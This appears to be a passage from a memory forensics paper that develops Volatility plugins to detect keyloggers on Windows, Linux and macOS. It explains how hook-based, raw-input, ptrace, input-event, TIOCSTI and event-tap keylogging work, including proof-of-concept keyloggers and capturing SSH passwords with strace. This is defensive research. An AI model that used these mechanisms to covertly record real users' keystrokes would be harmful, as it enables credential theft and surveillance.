monitor should be placed. If NULL is passed, then all threads within the same desktop as the calling application will be hooked. As discussed shortly, Volatility does not currently cover all combinations of hmod and dwThreadId, which we discovered during our testing and fixed during development. 4 3.2 Internals An entry on the Volatility Labs blog [6] and the Art of Memory Forensics [7] discuss a majority of the internals related to SetWindowsHookEx and the kernel data structures that it populates. In particular, these cover the data structures created when hooks are populated as well as the recovery of global hooks placed inside a DLL. We highly suggest reviewing these resources for readers new to analysis of the Windows GUI subsystem. The information specific to each hook is placed within a tagHOOK data structure. This information includes the following: 1. The desktop where the hook is active 2. The thread targeted by the hook 3. The event monitored 4. The location of the callback function 5. The module hosting the callback function To support the variety of data structures needed for this analysis across many Windows 10 versions, a significant reverse engineering effort was undertaken. To allow for quick support of future Windows versions to be added to our plugins, we fully documented each function inside of win32k.sys, win32kbase.sys, and win32kfull.sys needed to uncover the variety of data structure and offsets. Besides having the correct data structure layouts, fully recovering all varia- tions of hook placement requires treating each hook in one of three ways, each of which alters the meaning of the data stored in tagHOOK. These three will be discussed separately as having complete support in Volatility requires special handling of each one. 3.3 Global Hooks in a DLL The first form of SetWindowsHookEx abuse is when hmod is set to a DLL handle and dwThreadId is set to NULL. This tells the operating system that the caller wants to monitor all threads within the same desktop using a function defined in the DLL. The effect of this choice is that the DLL hosting the callback will be loaded (injected) into each process that triggers the callback, such as after a keystroke is entered. This mechanism provides a built-in code injection technique that removes the need for malware to use heavily monitored APIs, such as WriteProcessMemory, to introduce code into a victim process. Several malware samples, such as the Laqma malware discussed in [6], abuse SetWindowsHookEx solely as a mechanism to get their DLL loaded into victim processes, but then discard all future event data (keystrokes, mouse movements, etc.). When a global hook in a DLL is used, the ihmod member of tagHOOK is set to the index within the global atom table of the element holding the path to the DLL hosting the hook, and the offPfn member is set to the relative offset of the callback function from the DLL base address. 5 3.3.1 Volatility Support Volatility’s messagehooks plugin recovers global hooks in a DLL by first enu- merating each desktop along with each thread running inside each desktop. For each desktop or thread found, it uses the pDeskInfo member of the structure to find the tagDESKTOPINFO instance. This structure contains a member named aphkStart, which holds an array of pointers to tagHOOK instances. Each array index corresponds to the a hardcoded hook type, and each tagHOOK instance holds a pointer to the next one in its list. For each hook found, its relevant metadata is computed and reported. Figure 2 shows the output of the current version of the plugin against a single hook found in a memory sample. In this particular instance, the system from which memory was acquired was infected with the infamous Turla malware [8]. Figure 2: Recovery of a global keyboard hook The figure illustrates that Volatility has detected that the explore.exe process with a PID of 2568 has its thread with ID 1816 hooked. The event being monitored (Filter) is the keyboard, and the callback function (Procedure) is located at offset 0x22c0 from the beginning of tll.dll. Existing Volatility plugins, such as dlldump or dumpfiles, can be used to extract the malicious DLL to disk and begin binary analysis of the callback function. 3.4 Global Hooks in an Application Executable The second form of SetWindowsHookEx abuse is the placement of a hook inside of an application executable (.exe file). In this form, the hmod parameter to SetWindowsHookEx is set to NULL and dwThreadId can either be NULL or the thread ID to target. The effect of setting hmod to NULL is quite significant as it means the calling executable will still have its callback activated for monitored events, but the executable itself will not be injected into other processes. Instead, as described by Microsoft [9], the created event information will be sent in a message to the calling process. Figure 3 shows how our POC set a global application executable hook. 6 Figure 3: SetWindowsHookEx with an Application Hook In the call it can be seen that the both the module and thread ID parameters are NULL. This means every thread within the desktop will be hooked and that the per-event data will be placed into the message input queue of the calling application. This allowed us to ensure Volatility correctly handles this case going forward. 3.4.1 Volatility Support Volatility’s existing messagehooks plugin was able to detect hooks registered in this way, but did not inform analysts of which process was hosting the hook. This meant that, in a real-world situation where dozens of processes are running on a victim desktop, the same hook will be reported for each of them, but without any indication of which process actually placed it. The output is also a bit confusing as it reports a callback address that is not even mapped into all of the processes, or if it is mapped, would have a different meaning in each process address space. This lack of information forces analysts to manually work backwards to trace the hook origin, which is time consuming, error prone, and requires an investigator to have previous reverse engineering experience. We aimed to resolve this issue by researching a method to detect which application (process) actually placed the hook. Since the application is not directly mapped into each victim process, the hooking application must remain running for as long as the hook is active. With this in mind, we analyzed the internal implementation of SetWindowsHookEx to see how such processes are treated. We then determined that threads which set global hooks will have the TIF GLOBALHOOKER flag set in the TIF FLAGS member of the thread’s tagTHREADINFO structure. We then updated messagehooks to print True or False at the end of each Thread line to indicate if the particular thread has set a global hook. Figure 4 shows three blocks of output from messagehooks when ran against the sample with our POC active. 7 Figure 4: SetWindowsHookEx with an Application Hook The first block shows the global hook registered inside the Vol GUI-Desktop Hidden desktop, which is created by our POC. This hook is denoted as the global one by marking the thread as < any > to indicate that this hook will apply to all threads within the particular desktop. Also note that the procedure address is the full runtime address of the callback function for the keyboard hook, but no information is given here on which process is hosting the hook as the module index is -1, which marks the index as invalid. This also leads Volatility to mark the hosting module as (CurrentModule), since it cannot automatically infer the 8 hosting module from the tagHOOK structure. The second block, which is repeated for each victim thread in the full plugin output, shows that the same hook has targeted the powershell.exe process with PID 5916. This output can be automatically matched to the first block as the hook address is the same since the per-thread’s hook structure is pointed to the same one as the globally registered hook attached to the desktop. We also note that the False at the end of the Thread line is our addition that prints if the TIF GLOBALHOOKER flag is set. This per-thread output is how analysts can know which processes and threads were infected by malicious hooks, and, as mentioned previously, there are typically dozens of these lines when hooks are active on real-world systems. The third and final block of output in the figure shows that the GUI- TesterAll program (our POC) is the one that actually placed the hook as its TIF GLOBALHOOKER flag is set (the True at the end of the Thread line). With this new information, an analyst immediately knows 1) which process actually placed the hook 2) which address to look at in process memory for the hook. Furthermore, since the main application executable is hosting the hook, the analyst can use the existing procdump plugin’s -p option with the process ID (1332) to automatically extract this malicious executable to disk. This allows analysis in static analysis tools, such as IDA Pro or Ghidra. As we just demonstrated, our addition of analysis of the per-thread TIF FLAGS has transformed an error-prone, manual process into a more automated solution. 3.5 Thread-Specific Hooks The last type of hook covered in this section are thread-specific hooks. These are created when the dwThreadId is set to a specific thread ID instead of NULL to target all threads. To create one of these, we added the code shown in Figure 5 to our POC application. Figure 5: SetWindowsHookEx with a Thread-Specific Hook In the code it can be seen that the mouse monitoring hook is registered against a particular process, which in our POC is a notepad.exe process spawned previously by the POC. The module parameter is a handle to the DLL imple- menting mouse hook procedure. Since this hook is process specific, Windows will 9 load the referenced DLL into the victim process. 3.5.1 Volatility Support Our testing showed that the existing Volatility messagehooks plugin had no support for thread-specific hooks, so we needed to research why these were missed. Analysis of the kernel functions that activate hooks showed that thread-specific hooks were placed in a aphkStart array inside the tagTHREADINFO structure, and not in the one referenced from the tagDESKTOPINFO structure. Based on this discovery, we updated the messagehooks plugin to enumerate both aphkStart arrays and then our previous keyboard hook was enumerated along with the addition of our thread-specific mouse hook. Figure 6 shows the output of our updated messagehooks plugin against a memory sample with our mouse hook active. As can be seen, the plugin is now capable of recovering thread-specific hooks. Figure 6: messagehooks Recovering our Thread-Specific Hook We then proceeded to test this new support across Windows versions and noticed that the DLL path was not recovered for a single memory sample. We then manually ran Volatility’s atomscan plugin across the memory samples, which scans Windows atom tables and outputs the individual atoms. We determined that the DLL path for the hooking DLL was not present in the atom table for any of the samples. This indicated that something might be wrong with the plugin, as we expected the ihmod value of tagHOOK to reference a global atom containing the path of the hooking DLL as it does for the global hooks described previously. This led us to re-examine the internal implementation of SetWindowsHookEx, and we determined that thread-specific hooks do not populate the global atom table at all. Instead, the ihmod value of thread-specific hooks reference an index into the ahmodLibLoaded array stored inside the tagPROCESSINFO structure referenced from the hooked thread. This array holds the base addresses of DLLs associated with the process. With this information, we were able to update 10 messagehooks to conditionally retrieve the DLL path based on whether the hook being global or local. With this change, Volatility can now retrieve the DLL path, if present, for all hook types and variations. Figure 7 shows the output of our fully updated plugin that is aware of both DLL path sources. Figure 7: Properly Recovering the DLL Path As illustrated, the full path is retrieved for the DLL hosting the mouse hook as opposed to simply printing out an ihmod value. By extracting the DLL to disk, the investigator can then begin analysis of the hook procedure beginning at offset 0x10f0 of the DLL. With all of the updates described in this section, the messagehooks plugin of Volatility is now able to successfully recover complete information of all message hook variations through the latest version of Windows 10. 4 Windows Analysis - RegisterRawInputDevices 4.1 Background Abuse of the RegisterRawInputDevices API is the second popular method that Windows userland malware employs to monitor device activity. Many samples used in high profile attacks and by APT groups have abused this feature, including PlugX variants, the Dexter Point-of-Sale malware, HawkEye, FIN7, and APT27 [10, 11, 12, 13, 14, 15]. An article on Code Project by Mike Mee provides a very accessible read on how these hooks are registered by a programmer [16]. We strongly suggest reading this article before proceeding if you are new to this type of keylogger. The normal method for abusing this API is to first register an invisible window that will be used to attach the malware’s callback function. This is performed by registering a custom class through the use of the RegisterClass API. Once registered, the class can then be used to create the hidden window. Figure 8 shows how this is performed in our POC application. 11 Figure 8: RegisterRawInputDevices Prototype As shown, we define a callback function named WndProc that receives GUI messages and we named our custom class Vol GUI-kl. Next, we write information to the output file for future verification and then we create our hidden window. The first parameter to CreateWindow must be the name a registered class, which we set to our previously registered instance. We then give our window a pre-defined name so that we can verify it during future plugins runs. To receive all input events, the callback function must properly handle WM CREATE and WM INPUT messages. WM CREATE is sent upon cre- ation of a window of the given class, and this is when a keylogger must use RegisterRawInputDevices to receive future WM INPUT messages that contain each keystroke. Figure 9 shows the prototype for RegisterRawInputDevices and Figure 10 displays the input structure (tagRAWINPUTDEVICE). Figure 9: RegisterRawInputDevices Prototype 12 Figure 10: tagRAWINPUTDEVICE Definition The first parameter, pRawInputDevices, specifies one or more tagRAWIN- PUTDEVICE structures that describe the devices to be monitored. The second parameter specifies how many devices are described and the last parameter specifies how large each input structure is. To properly monitor the keyboard or other desired device, the usUsagePage and usUsage of the tagRAWINPUTDEVICE structure must be set correctly. For malware that targets common devices (keyboard, mouse), the usUsagePage must be set to HID USAGE PAGE GENERIC, which has a constant value of 1. Figure 11 shows the possible options for the usUsage member. Figure 11: messagehooks Recovering our Thread-Specific Hook For malware that wants to perform keylogging, it will set this value to HID USAGE GENERIC KEYBOARD, which has a constant value of 6. Once registered, the window callback procedure will then receive WM INPUT messages after each keystroke, and the GetRawInputData API can be used to 13 translate these messages to the keys typed on the monitored keyboard. 4.2 Internals A blog post on the “Eye of Ra” blog provides a good overview of the data struc- tures that Windows 7 uses to track raw input device monitors [17]. This includes a high level view of determining which processes called RegisterRawInputDevices and most of the data structures involved. We used this blog post as a starting point for our research, but given that it only targeted Windows 7 and many of the functions and implementation details were modified in Windows 10, there was still a substantial amount of work to do. We also aimed to determine not only which process(es) were monitoring input devices, but also the addresses of the input handlers. Finally, this blog post is able to use WinDBG to parse the types of the GUI subsystem as Microsoft released full type information for several versions of Windows 7. Unfortunately, this was stopped and later versions of Windows 7 and all versions of Windows 10 must be reverse engineered to discover type and algorithm changes inside the GUI subsystem. This meant we needed to perform a significant reverse engineering effort to understand the modern versions of the handling code. The use of RegisterRawInputDevices leads to a tagPROCESS HID TABLE instance being tracked from the process’ tagPROCESSINFO structure. This hid table structure then tracks the monitors associated with each process in tagPROCESS HID REQUEST structures that contain the usUsagePage and usUsage values described previously as well a handle to the window that the hook is associated with. Inside of each window, which is tracked by a tag- WND structure, there is a member named lpfnWndProc that holds the address of the window callback procedure, if any. This per-monitor request data is what we used to build our new Volatility plugin that is capable of uncovering RegisterRawInputDevices abuse. 4.3 Adding Volatility Support Before our research effort, Volatility had no plugin to report instances of Regis- terRawInputDevices usage. We addressed this issue through the development of a new rawinputdevicemonitors plugin. Our previous work to make messagehooks function properly across Windows 10 versions meant that we had a head start in this effort. In particular, messagehooks already enumerates tagPROCESSINFO instances, which is what we need to start our analysis of input device monitors. For each tagPROCESSINFO found, we check if its HID table pointer is set. If so, that means the process has registered at least one monitor. We then proceed from the tagPROCESS HID TABLE to the list of valid tagPRO- CESS HID REQUEST structures. This allows us to determine which requests are monitoring devices of interest (keyboard and mouse) and to report the process ID and name, window name, and window procedure callback address. Figure 12 shows the output block out our new plugin when run against a memory sample with our POC input device monitor active. 14 Figure 12: rawinputdevicemonitors Recovering our POC As shown, the monitoring application (GUITesterAll) is reported along with the name and address of the window procedure. The usUsage value is reported as 6, which corresponds to keyboarding monitoring. With this information available, an investigator can immediately begin static analysis of the malicious application to determine which action(s) it takes upon each keystroke. 5 Linux Analysis - strace and ptrace After finishing our research on Windows, we turned our attention to Linux. Linux has three main methods for userland keylogging: 1) strace (debugging APIs) 2) Input Events 3) TIOCSTI. We will now cover these in order. 5.1 Background strace is a built-in Linux utility that leverages the Linux debug API (ptrace) to record system calls made by applications. strace is extremely popular with system administrators and malware analysts as it not only records the names of system calls made but also the parameters, such as file names, network addresses, and process IDs. The power afforded by strace and the ptrace system call that it relies on has resulted in widespread abuse by malware and attackers to spy on victim processes. Many resources show how it trivial it is to spy on victim users with strace, including the theft of SSH credentials and recording of commands (e.g., [18]). The abuse of these debugging facilities sometimes leads systems administra- tors to lock down ptrace, even for root users [19, 20]. As with most security controls, however, these settings are not enabled by default on common distribu- tions and are not universally applied to production servers. Given the threat posed by these interfaces, we investigated the debugging API internals with a goal of detecting processes being debugged. 5.2 Internals Each Linux process is tracked by a task struct structure that serves the same purpose as EPROCESS on Windows. Inside each task struct is a member 15 named ptraced that holds a linked list of all processes that the examined process is tracing. This allows us to directly enumerate all processes being traced. ptrace supports a variety of options, such as PTRACE O TRACEFORK and PTRACE O TRACECLONE, that allow tracing programs to automatically trace (debug) child processes spawned by the original. strace supports this capability by following children processes if the -f option is specified in the command line invocation. To determine all instances of programs being debugged and to discover the process debugging them, we must compare the parent member of task struct to the real parent member. These will not be the same when a process is being debugged by a process other than its direct parent, such as a debugger, and we can use this discrepancy to determine the real tracing process even if it is several parents up the chain. 5.3 Volatility Support Before our research, Volatility had no existing plugin to report processes that were being debugged. To remedy this, we developed the linux process ptrace plugin, which reports on all processes being debugged, the process IDs of tracing processes, and the tracing state of each process. We have two sets of figures that demonstrate this plugin. 5.3.1 Detecting gdb Usage The first, Figure 13, shows us loading the cat executable into gdb followed by executing it inside the debugger. Figure 13: Debugging the cat command with gdb We then ran the ps command to determine the process IDs of the created cat process (780) as well as the PID of the controlling gdb process (778). Figure 14 shows the output of linux process ptrace when run against the memory sample with these processes active. 16 Figure 14: Our new plugin detecting cat being debugged As shown, Volatility correctly reports that gdb is tracing PID 780 and that cat has the PTRACED flag set. The Traced by column of cat is empty since it is being directly traced by its parent gdb process, so its parent and real parent members have the same value. 5.3.2 Detecting SSH Daemon Monitoring Our second demonstration of linux process ptrace focuses on detection of an strace instance being used to keylog SSH sessions. Figure 15 shows our invocation of strace to attach to the running SSH daemon and to follow all future children processes. Figure 15: Monitoring SSHD with strace After attaching strace to the SSH daemon, we then logged into the system through SSH from a remote computer. After successfully logging in, we then ran the netstat command and observed the output. Figure 16 shows select portions of this output as generated by our strace invocation. 17 Figure 16: strace output During SSH login and Session In the first block of output, the string secretpassword! can be observed, which is the password of the user account that was logged in with remotely. This theft of plaintext passwords is one of the main reasons that SSHD is a common target of malware, and it also highlights why the use of SSH keys can provide a significant security boost. The second block of output shows our netstat command being read one character at a time, leading to the 3rd and final blocks of output showing netstat being executed and then network connection information being read from files under /proc/net/. Figure 17 shows the output of linux process ptrace against the memory sample taken after our SSH activity. Figure 17: Volatility detecting the SSH Daemon Monitoring To start, it can be seen that our strace process has a PID of 1127, and that four processes (3 sshd instances, plus one bash instance) report PID 1127 as their Traced by value. Furthermore, they all have the SEIZED flag set. SEIZED indicates that strace either attached to an already running process or was attached to a child automatically as a result of tracing the parent. As we know, 18 we manually attached strace to the running sshd instance with PID 436 and then our supplied -f option to strace told it to follow all future children processes. This information combined with the Tracing column of strace matching the four PIDs of the other processes confirms to us that strace is truly the process responsible for tracing the others. As demonstrated in this section, our new linux process ptrace plugin can successfully detect all debugged processes in a memory sample, which can lead to automated detection of a wide variety of malware and attacker abuses. 6 Linux Analysis - Input Events The next Linux keylogging method that we examined was the abuse of input events [21]. 6.1 Background The /dev/input directory of Linux systems is powered by the input subsystem that exposes a wide range of local devices in a uniform manner. By reading from a specific device’s /dev/input file, applications can receive event data as it is generated. In the case of keyboard devices, this data includes each keystroke typed on the physical keyboard. Figure 18 shows hows devices are exported on a live system. Figure 18: Viewing Input Devices In this output, in it can be seen that the physical keyboard is mapped to the event1 file while event2 and mouse0 correspond to the physical mouse. Given the power of the input subsystem, malware frequently abuses this interface to perform keylogging. This is accomplished by opening a file handle to the device of interest, and then calling the read system call in a loop to obtain event data as it is generated. 6.2 Internals The input subsystem matches devices to input handlers that pass generated events back to the userspace components waiting for them to populate. Documentation maintained by the Linux kernel developers discuss the internals of the kernel portion and userland API of this interface [22]. Next, we show that it is possible 19 to automatically detect malware abusing this interface solely from its file handle activity, so a deep understanding of the kernel internals is not relevant to our Volatility plugin in this instance. 6.3 Volatility Support We created the linux input events plugin to detect processes that are monitoring input events. This plugin operates by enumerating the open file descriptors (handles) of each process and reporting any that reference a path under the /dev/input/ directory. Figure 19 shows the output of our test sample with the logkeys keylogger running [23]. This keylogger uses input device monitoring to record keystrokes typed on a physical keyboard attached to a system. Figure 19: Detecting Device Input Monitoring Processes As shown, three entries are reported by the plugin. The first two belong to the system-logind process, which is a legitimate component of systemd. The process of the third entry, logkeys, is not part of systemd and immediately informs the investigator that the process is suspicious and requires further investigation. 7 Linux Analysis - TIOCSTI The last keylogging approach that was researched for Linux is the abuse of the TIOCSTI ioctl [24]. 7.1 Background The TIOCSTI ioctl command simulates input to a terminal and allows the caller to inject a specified character into the terminal’s input stream. This allows mal- ware to write characters into a victim’s terminal window(s), essentially “faking” input typed by the user. This capability has led to a number of vulnerabilities and malware opportunities, such as hijacking su/sudo sessions to run commands as root [25]. The wide ranging threat posed by this IOCTL command led to OpenBSD making it a NOOP [26] and many attempts to lock it down on Linux and within sandboxes. 20 7.2 Internals Internally, the handler for this IOCTL simply calls the same code path as if a user had actually typed the given character directly from a keyboard or ssh session. The tiocsti function in the Linux kernel implements this and the comment defining the function states: “Fake input to a tty device”. Figure 21 shows our POC written in Python that performs keylogging by abusing TIOCSTI. Figure 20: TIOCSTI abuse for keylogging Our POC must first open a handle to the desired terminal device, such as “/dev/pts/0”, hosting an SSH session or physical keyboard. Next, it continually reads from the device, and for each set of characters read, it immediately sends them back to the input stream with TIOCSTI. This is required as the read performed by our keylogger removes the bytes from the same input queue as used by the victim’s terminal. To ensure that characters are reflected back to the terminal and that the user does see any suspicious behavior when our keylogger is active, all characters are immediately reinserted back into the queue this way. tcdrain is then used to ensure that all characters are written. Our POC then writes the captured characters to the screen. Given that the fake character is inserted in exactly the same manner as a real keypress on the keyboard, there is no specific marker in the kernel to tell us that this occurred or is still occurring. Due to this lack of artifacts, we chose to base our detection of this abuse on the open file handle, as discussed next. 7.3 Volatility Support To detect keyloggers abusing TIOCSTI, we developed the linux tiocsti plugin. The plugin operates by detecting when a process has a file descriptor (handle) open to a terminal device that is not its own. As shown in the POC, a handle to the particular terminal of interest must be opened to read data from it as well as re-insert stolen characters. A naive approach the plugin could have taken would be to compare the terminal device of a process’ stdin/stdout/stderr to that of its other descriptors, but malicious processes often close these upon startup or dup() them to network sockets. This would lead to our plugin missing the malicious process. 21 To ensure that our plugin can detect the full range of TIOCSTI abuse, we instead compare the terminal device associated with the process’ signal structure to that of its open file handles. This gives us a direct map between the original terminal where a process was spawned compared to the one it is targeting. Figure 21 shows the output of linux tiocsti against a memory sample with our TIOCSTI-based keylogger active. Figure 21: Detecting Device Input Monitoring Processes As shown, the Python process running the keylogger (PID 7997) was spawned on /dev/pts/0 but its 3rd file descriptor is open to /dev/pts/1, which was the terminal of our victim ssh session. We also show the output of linux psaux as that lists the name of the script and not just the Python interpreter. With this new plugin, investigators can automatically discover the abuse of TIOCSTI within Linux memory samples. 8 macOS - CGEventCreate The most popular method for keylogging on macOS systems is through creating Event Taps [27]. 8.1 Background macOS Event Taps allow an application to receive a callback notification whenever a monitored hardware device is used, such as a keystroke on a keyboard or a mouse click. Given the power these have on the system, they are commonly abused by malware for keylogging and other malicious purposes. ReiKey from Objective See is a free tool to detect when event taps are registered on a live system and is highly recommend for use on production macOS systems given how frequently this API is abused by malware [28]. 22 Event taps are registered through the CGEventTapCreate API [29]. The API requires several arguments, but the most important are the callback lo- cation, which specifies the callback to activated when events of interest fire, and eventsOfInterest, which specifies which events the particular callback is interested. These include a number of methods to monitor the keyboard, mouse, and touchpad. 8.2 Internals The mechanism for tracking device events and monitors is much different in macOS than Linux and Windows. This is because the macOS the kernel, xnu, was originally designed as a microkernel, which puts many of the core subsystems that would be in the kernel on Windows/Linux into userland processes on macOS. It also means that the kernel performs a significant amount of time passing data back and forth between processes (interprocess communication, IPC) since processes cannot directly read/write to each other. The kernel also enforces security boundaries at this layer to ensure processes have the correct privileges to perform requested operations. While analyzing modern versions of macOS, we determined that the subsystem that controls event taps is the SkyLight Framework. A process that wishes to register event taps must load SkyLight into its address space before it can call CGEventTapCreate and related functions. This call first leads to SLEventTapCreate being called. The CG of CGEventTapCreate stands for Core Graphics as this was the predecessor framework to SkyLight and the original function name is kept for backwards compatibility. In our testing, we discovered that nearly all CG* functions have a counterpart SL* functions inside of SkyLight and the CG functions are now just wrappers. SLEventTapCreate leads to event tap create being executed, which performs the real work of creating the tap. To our knowledge, there is no online docu- mentation that explains how taps work internally, so we set out to understand this implementation. After sanity checking arguments, event tap create registers a Mach port with eventTapMessageHandler as the callback [30]. Figure 22 shows this registration as well as the eventual call to CGSPlaceTap. 23 Figure 22: event tap create registering a Mach port and task As the figure illustrates, the callback location and other parameters to CGEventTapCreate are stored within a context variable. This is then passed to CFMachPortCreate to associate the event tap with a Mach port that can be referenced across processes. This Mach port plus the other tap information is then passed to CGSPlaceTap to actually install the event tap. Figure 23 shows the relevant portion of this function, in particular that it essentially exists to format its received parameters in the form that mach msg expects and then sending this data to mach msg. 24 Figure 23: CGSPlaceTap calling mach msg mach msg is a system call used to pass data between Mach ports. To continue investigating the internals of event taps, we needed to find the other end of this IPC call. Our previous knowledge of macOS combined with online searches for confirmation, which brought us to resources such as [31], led us to believe that the WindowServer application would be the final destination of these calls. We then examined this binary in IDA and realized that it is a thin wrapper to daemonize many of the capabilities of SkyLight. We then reexamined the list of functions contained in the SkyLight library and saw that many of the CG* and SL* functions had counterparts that started with X followed by the original function name. Further work in IDA confirmed that these are the server side components that handle the IPC messages from calling applications. Figure 24 shows a portion of XPlaceTap, which is the server side component of CGSPlaceTap used inside of the WindowServer process. 25 Figure 24: XPlaceTap creating a new event tap structure In this figure, a new data structure, of type CGXEventTap is being allocated to store the information passed from the previous mach msg call. Note that we renamed the data structure to new CGXEventTap so that it was easier to follow the IDA decompiler output. After the data structure is populated, it can be seen on the last line of the figure that the sCGXEventTapMasterList global variable is being set to the address of the new tap. Finding this function and understanding its code resulted in two benefits. First, we used this to determine the offsets of data structure members that our plugin would need to retrieve inside of CGXEventTap. Thankfully, the offsets of the members of interest did not change across the macOS versions we tested. The second benefit to this function was the discovery of the sCGXEventTapMasterList global variable, as we realized it was likely the data structure inside of the WindowServer process that stored all event taps for all processes. We then used IDA’s cross-referencing capabilities to see where else this variable was used. This led us to XGetEventTapList, which is the server side handler for CGGetEventTapList [32]. This was very encouraging as we knew this API is what allows tools, such as ReiKey, to enumerate event tap handlers on a system. Analysis of this function confirmed to us that the global variable is used 26 to track all event taps, and that it stores pointers to all handlers contiguously in memory. With this binary analysis effort complete, we were then able to devise an algorithm for a Volatility plugin that could recover all event taps registered on a system. 8.3 Volatility Support Before our research, Volatility had no method to enumerate event taps for macOS memory samples. After researching the internals of SkyLight, we developed the mac event taps plugin to provide this capability to memory forensic analysts. The plugin begins by finding the WindowServer process. It then locates the sCGXEventTapMasterList global variable and processes each pointer that it references. Each of these pointers leads to a CGXEventTap structure, and as mentioned previosuly, our binary analysis effort led us to discover the relevant offsets inside of this data structure. For our POC, we used the very well written keylogger project by Casey Scarborough [33]. This project uses CGEventTapCreate to monitor Key Down events on the keyboard. Figure 25 shows the portion of the keylogger that creates the event tap and then attaches it to the process’ run loop. Figure 25: Keylogger registering for Key Down events Figure 26 shows the output of our new plugin against a memory sample with this keylogger active. 27 Figure 26: mac event taps Detecting the Keylogger As shown, through analysis of SkyLight and sCGXEventTapMasterList, our plugin automatically discovers the keylogger’s tap and its registered events of interest. With this new plugin, investigators can automatically discover all event tapping malware present in macOS memory samples. 9 Conclusions In this paper, we have presented a significant memory analysis research effort that led to the creation of algorithms and Volatility plugins capable of detecting the most widely abused userland device monitoring techniques across the three most widely used operating systems. As widely documented in technical reports, such malware techniques have been used across the world to target journalists and opposition political figures as well as in espionage campaigns aimed at nation states and corporations. Our research effort also included updating existing memory forensics algorithms to support the latest Windows versions, as well as development of completely new detection techniques for each of the three operat- ing systems. Once included in the mainline Volatility Framework, investigators across the field will be able to automatically discover device monitoring malware across Windows, Linux, and macOS systems. References [1] CISA, “Mitigate Microsoft Exchange Server Vulnerabilities,” https://www. cisa.gov/uscert/ncas/alerts/aa21-062a, 2021. [2] ——, “EMERGENCY DIRECTIVE 21-01- MITIGATE SOLARWINDS ORION CODE COMPROMISE,” https://www.cisa.gov/emergency-directi ve-21-01, 2021. [3] Volexity, “Surge Collect Pro,” https://www.volexity.com/products-overvie w/surge/, 2022. [4] Elixir, “Elixir,” https://elixir.bootlin.com/], 2022. [5] Apple, “Apple Open Source,” [https://opensource.apple.com], 2022. [6] Volatility, “MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem,” https://volatility-labs.blogspot.com/2012/09/movp-31-detec ting-malware-hooks-in.html, 2012. 28 [7] M. H. Ligh, A. Case, J. Levy, and A. Walters, The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. New York: Wiley, 2014. [8] T. M. Corporation, “Turla,” https://attack.mitre.org/groups/G0010/, 2018. [9] Microsoft, “LowLevelKeyboardProc callback function,” https: //docs.microsoft.com/en-us/previous-versions/windows/desktop/le gacy/ms644985(v=vs.85), 2022. [10] Geok Meng Ong, Chong Rong Hwa, “Pacific Ring of Fire: PlugX / Kaba,” https://www.fireeye.com/blog/threat-research/2014/07/pacific-rin g-of-fire-plugx-kaba.html, 2014. [11] H. K. Chan, “VB2014 paper: Swipe away, we’re watching you,” https://www.virusbulletin.com/virusbulletin/2015/04/paper-swipe -away-we-re-watching-you, 2015. [12] Hod Gavriel, “HawkEye Malware Changes Keylogging Technique,” https://www.cyberbit.com/blog/endpoint-security/hawkeye-malware-key logging-technique/, 2019. [13] D. Web, “Study of the APT attacks on state institutions in Kazakhstan and Kyrgyzstan,” https://st.drweb.com/static/new-www/news/2020/july /Study of the APT attacks on state institutions in Kazakhstan and Kyr gyzstan en.pdf, 2020. [14] PTI TEAM, “OpBlueRaven: Unveiling Fin7/Carbanak - Part I : Tirion,” https://threatintel.blog/OPBlueRaven-Part1/, 2020. [15] Profero, “Apt27 turns to ransomware,” https://shared-public-reports.s3-e u-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf, 2020. [16] Mike G. P.Mee, “Minimal Key Logger Using RAWINPUT,” https://www.co deproject.com/Articles/297312/Minimal-Key-Logger-using-RAWINPUT, 2012. [17] Eye of Ra, “Windows Keylogger Part 2: Defense against user- land,” https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger -part-2-defense-against-user-land/, 2017. [18] debojit, “Spying on ssh password using strace,” https://medium.com/@de boj88/spaying-on-ssh-password-using-strace-7465ede0a5cc, 2018. [19] RedHat, “4.15. DISABLING PTRACE(),” https://access.redhat.com/docu mentation/en-us/red hat enterprise linux/7/html/selinux users and adm inistrators guide/sect-security-enhanced linux-working with selinux-disab le ptrace, 2022. 29 [20] CISA, “LIMITING PTRACE ON PRODUCTION LINUX SYSTEMS,” https://media.defense.gov/2019/Jul/16/2002158062/-1/-1/0/CSI-LIMIT ING-PTRACE-ON-PRODUCTION-LINUX-SYSTEMS.PDF, 2022. [21] Linux, “The Linux Input Documentation,” https://www.kernel.org/doc/h tml/v4.14/input/index.html, 2022. [22] ——, “Linux Input Subsystem userspace API,” https://www.kernel.org/d oc/html/latest/input/input uapi.html, 2022. [23] kernc, “logkeys,” https://github.com/kernc/logkeys, 2022. [24] QNX, “TIOCSTI,” https://www.qnx.com/developers/docs/7.0.0/#com.q nx.doc.neutrino.devctl/topic/tioc/tiocsti.html, 2022. [25] Simon Ruderich, “su/sudo from root to another user allows TTY hijacking and arbitrary code execution,” https://ruderich.org/simon/notes/su-sudo-f rom-root-tty-hijacking, 2021. [26] brynet, “On the Insecurity of TIOCSTI,” https://undeadly.org/cgi?actio n=article;sid=20170701132619, 2017. [27] Apple, “Quartz Event Services,” https://developer.apple.com/documentat ion/coregraphics/quartz event services, 2022. [28] Patrick Wardle, “ReiKey,” https://objective-see.com/products/reikey.html, 2022. [29] Apple, “CGEventTapCreate,” https://developer.apple.com/documentation/ coregraphics/1454426-cgeventtapcreate, 2022. [30] ——, “CFMachPortCreate,” https://developer.apple.com/documentation/ corefoundation/1400934-cfmachportcreate, 2022. [31] hoakley, “WindowServer: display compositor and input event router,” https://eclecticlight.co/2020/06/08/windowserver-display-compo sitor-and-input-event-router/, 2022. [32] Apple, “CGGetEventTapList,” https://developer.apple.com/documentatio n/coregraphics/1455395-cggeteventtaplist, 2022. [33] Casey Scarborough, “macOS Keylogger,” https://github.com/caseyscarbo rough/keylogger, 2022. 30
pdf
